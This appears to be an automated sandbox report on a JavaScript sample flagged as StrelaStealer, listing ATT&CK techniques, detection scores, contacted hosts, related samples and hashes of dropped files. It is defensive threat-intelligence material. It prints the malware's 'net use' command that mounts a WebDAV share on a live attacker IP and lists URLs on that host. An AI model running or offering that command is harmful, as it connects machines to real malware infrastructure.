Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
19559251331544623964.js	13%	Virustotal		Browse
19559251331544623964.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/(Q	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Loopback	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.19	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/z	net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2608653718.00000257D0000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1367710086.00000257CFD60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/Loopback	net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1369170503.0000025128BC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369337392.0000025128C1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1366472879.0000025128C1B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/(Q	net.exe, 00000007.00000002.1369170503.0000025128BC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/~	net.exe, 00000007.00000003.1368204959.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369221074.0000025128BFB000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589051
Start date and time:	2025-01-11 08:51:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	19559251331544623964.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 184.28.90.27, 23.209.209.135, 217.20.57.19, 2.16.168.107, 2.16.168.105, 23.200.0.33, 23.200.0.21, 13.107.246.45, 18.213.11.84, 20.109.210.53, 173.222.162.42, 23.47.168.24
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:52:27	API Interceptor	22x Sleep call for process: powershell.exe modified
02:52:31	API Interceptor	2x Sleep call for process: svchost.exe modified
02:52:32	API Interceptor	1x Sleep call for process: net.exe modified
02:52:39	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.39
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	217.20.57.36
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
bg.microsoft.map.fastly.net	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1274513223711714673.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.800805305991491
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5Tb:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfs
MD5:	15598ACE71D8E8A9E54668BCAD630CDE
SHA1:	66BA60186A8BBD765FD87F9A59793787D895936E
SHA-256:	A18E44770464948F05C2EC86CFEC99C2B196621A3AA4FC2647064EA1F1A2D6CF
SHA-512:	6EFDE329CD18837976DA1DA7CE931806F8739037F438450A1F1F089ED65845237D6899ECEFB2E56C6D85FCDCB5BAB5EC0A18041A901941EFBDA3CB7E45652202
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd930069e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7714841564119101
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:Taza9vqcHbrq2UyUVWlW
MD5:	55D14A7C3EADE6940F0A41D5FFFE3D0F
SHA1:	6413277E77C549409E0FAE7FABC4A81F90F45F5C
SHA-256:	C98B4872F3C1270E5578154D2FBFEC5D129BC40D5B6D7355895451E2ADD87CDA
SHA-512:	709483FE0AF50F50BD8F1C90FCEB153359D967588894834EB90D77260278BAE47A0405B760A227B9D7EBE9A067A6BBCC08F26D21AE3BCDB4053C3B8279D999EC
Malicious:	false
Preview:	.0..... ...............X\...;...{......................0.p.....#....{.. 4...}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{..................................:... 4...}..................Hq.c 4...}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07991245290741908
Encrypted:	false
SSDEEP:	3:N/dYeyHkRj8qrrvr+gvrr/6/allVmctlll/Sm1l1:Fdz4pgn/6GLPPv
MD5:	B6AD7D6F228B50BC61F3B96365558120
SHA1:	3BD58542F6BA0846A484DA37A1986E78EA0053E1
SHA-256:	D037B9FF501DEB304F931D1EE0933AF8B73A462313D89BFCCFA575BE2FFBFEBC
SHA-512:	CAAD451A64FD9D7F15B7ADA716733ED84E99B4A2FA9739F359A1E390C9CC8FEC3C8878D1726E8622A1742AB35B43A48E1B9941F799D31B725C8C6C3CED33A0C6
Malicious:	false
Preview:	-.t<.....................................;...{.. 4...}..#....{..........#....{..#....{...i..#....{.V................Hq.c 4...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.161692421534833
Encrypted:	false
SSDEEP:	6:iO4wL+q2PsZ2nKuAl9OmbnIFUtDl1ZmwFzLVkwOsZ2nKuAl9OmbjLJ:7fyvkcHAahFUtD/lR51cHAaSJ
MD5:	29C8FEEF4C3A4FFC461E4C775C6D4A5C
SHA1:	D1494E18F62CFB6D7F6A067A818988A04B8F776B
SHA-256:	1655FFD72BB6258501B74138F0A4118F86CE36957B2DC5BED968FFD37C0D38F0
SHA-512:	BA7236E6989F5B0EC673F1985C34303CFC3A2BF7938BC1A210CCE5EB084738C1E64657B6420B737FA01610F74C88D31013C10FFA2FFC2CF6AE43FAE93D0E047B
Malicious:	false
Preview:	2025/01/11-02:52:31.868 1f18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:52:31.871 1f18 Recovering log #3.2025/01/11-02:52:31.871 1f18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.161692421534833
Encrypted:	false
SSDEEP:	6:iO4wL+q2PsZ2nKuAl9OmbnIFUtDl1ZmwFzLVkwOsZ2nKuAl9OmbjLJ:7fyvkcHAahFUtD/lR51cHAaSJ
MD5:	29C8FEEF4C3A4FFC461E4C775C6D4A5C
SHA1:	D1494E18F62CFB6D7F6A067A818988A04B8F776B
SHA-256:	1655FFD72BB6258501B74138F0A4118F86CE36957B2DC5BED968FFD37C0D38F0
SHA-512:	BA7236E6989F5B0EC673F1985C34303CFC3A2BF7938BC1A210CCE5EB084738C1E64657B6420B737FA01610F74C88D31013C10FFA2FFC2CF6AE43FAE93D0E047B
Malicious:	false
Preview:	2025/01/11-02:52:31.868 1f18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:52:31.871 1f18 Recovering log #3.2025/01/11-02:52:31.871 1f18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1524406098061135
Encrypted:	false
SSDEEP:	6:iO1nVi+q2PsZ2nKuAl9Ombzo2jMGIFUt4kmWZmwPIVkwOsZ2nKuAl9Ombzo2jMmd:7lVi+vkcHAa8uFUtRZ/PIV51cHAa8RJ
MD5:	7DAAAE9418273B86CD31DCC27CE523D3
SHA1:	816FCD8253F2111BCBD6AF38EA1D13537DBCDBCD
SHA-256:	29DECE10A5D3733A602EC425D9D91E5083D6866E6E6C1C439649032568537430
SHA-512:	8D983F33DDCC273689ACCA35110288CA5B02D1C9597207CEBD0EC8E74CA2EC91DE5B3F7B0340048F4E8B89BCD73509292661A33A421B8712EFE502E00C2A2E51
Malicious:	false
Preview:	2025/01/11-02:52:31.897 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:52:31.898 80c Recovering log #3.2025/01/11-02:52:31.899 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1524406098061135
Encrypted:	false
SSDEEP:	6:iO1nVi+q2PsZ2nKuAl9Ombzo2jMGIFUt4kmWZmwPIVkwOsZ2nKuAl9Ombzo2jMmd:7lVi+vkcHAa8uFUtRZ/PIV51cHAa8RJ
MD5:	7DAAAE9418273B86CD31DCC27CE523D3
SHA1:	816FCD8253F2111BCBD6AF38EA1D13537DBCDBCD
SHA-256:	29DECE10A5D3733A602EC425D9D91E5083D6866E6E6C1C439649032568537430
SHA-512:	8D983F33DDCC273689ACCA35110288CA5B02D1C9597207CEBD0EC8E74CA2EC91DE5B3F7B0340048F4E8B89BCD73509292661A33A421B8712EFE502E00C2A2E51
Malicious:	false
Preview:	2025/01/11-02:52:31.897 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:52:31.898 80c Recovering log #3.2025/01/11-02:52:31.899 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ad28074-3997-4d63-bb16-24ec7457a219.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.95391542752787
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqA+QKsBdOg2Hycaq3QYiubPyP7E4T3y:Y2sRdsH+QvdMHd3QYhbC7nby
MD5:	9F1D7DCE978E578FBF7575366FBCCDEE
SHA1:	E5C5921113486D2BBD274AFDC37EECEA4A9FE2B8
SHA-256:	70A170A9E0410F7F9560FFACD9320CD99A6F5183899EEBAC82BBA9F34312ED32
SHA-512:	192086642F3AC4D2417248D88AEA4D6C6063579A25403F186FEBA2793F63A8ADF50317828B1A9042CE2F119BE83EB51E5F526677428334B900FD75F62674659E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141963665525","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130411},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.95391542752787
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqA+QKsBdOg2Hycaq3QYiubPyP7E4T3y:Y2sRdsH+QvdMHd3QYhbC7nby
MD5:	9F1D7DCE978E578FBF7575366FBCCDEE
SHA1:	E5C5921113486D2BBD274AFDC37EECEA4A9FE2B8
SHA-256:	70A170A9E0410F7F9560FFACD9320CD99A6F5183899EEBAC82BBA9F34312ED32
SHA-512:	192086642F3AC4D2417248D88AEA4D6C6063579A25403F186FEBA2793F63A8ADF50317828B1A9042CE2F119BE83EB51E5F526677428334B900FD75F62674659E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141963665525","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130411},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.229393548598682
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflHVCmz:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vJ
MD5:	A900534A04148A296760E708962EF971
SHA1:	B628D8A393897B521957C7D59B56F71B6243AF45
SHA-256:	B903C9182DAADC081FCAAEA5CE2D892F394E81160678B4AC19B5C5FEAEE24A89
SHA-512:	083344B52B361252BB8A6C372439E82CDD15E68ADDDB0A1C1C481F7E28D653F5DB6AA3D8AF880F169E6F0420C932799A92575C025F1CA8A649DB9BB3D725881D
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.136401273046815
Encrypted:	false
SSDEEP:	6:iO4S+q2PsZ2nKuAl9OmbzNMxIFUtSWZmwkiVkwOsZ2nKuAl9OmbzNMFLJ:7z+vkcHAa8jFUtt/kiV51cHAa84J
MD5:	3DCE0E30BB6578FE8ED6CB51C11A5330
SHA1:	BCCE7440E586C3C8EA0BC282B44FE721416E765F
SHA-256:	045B3471CD4B8381BF68E33D2713E5CF3EC31CD46FC464B9984D88A952B6B034
SHA-512:	591580CB67BC10CBE6CD92C5382B1E23118DF69C95AE22E5659860AF466CF45D9C629CD981A09164332D7F498F91E2E85C2875F85EDB393F5706851A5E72AF65
Malicious:	false
Preview:	2025/01/11-02:52:32.257 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:52:32.266 80c Recovering log #3.2025/01/11-02:52:32.275 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.136401273046815
Encrypted:	false
SSDEEP:	6:iO4S+q2PsZ2nKuAl9OmbzNMxIFUtSWZmwkiVkwOsZ2nKuAl9OmbzNMFLJ:7z+vkcHAa8jFUtt/kiV51cHAa84J
MD5:	3DCE0E30BB6578FE8ED6CB51C11A5330
SHA1:	BCCE7440E586C3C8EA0BC282B44FE721416E765F
SHA-256:	045B3471CD4B8381BF68E33D2713E5CF3EC31CD46FC464B9984D88A952B6B034
SHA-512:	591580CB67BC10CBE6CD92C5382B1E23118DF69C95AE22E5659860AF466CF45D9C629CD981A09164332D7F498F91E2E85C2875F85EDB393F5706851A5E72AF65
Malicious:	false
Preview:	2025/01/11-02:52:32.257 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:52:32.266 80c Recovering log #3.2025/01/11-02:52:32.275 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438525647254203
Encrypted:	false
SSDEEP:	384:yeCci5GxiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:N9urVgazUpUTTGt
MD5:	4E4D3910AB71690949D15B20C7878C4F
SHA1:	D334DFA67B0A67A66CFBBF28AD96BD632D10BC78
SHA-256:	688717E11627692A94299E41EF117D9BA640EE42F6A403332FD8122DF000EC5C
SHA-512:	F0A04CBB6AB6ACC4188AB6F567F5879D8BA83DAF5296DAA69373F7268F88FB482667883FAE03E7EC0824A96DEC71C82E7B2C435E0B7DAAC21FE8A86220377695
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
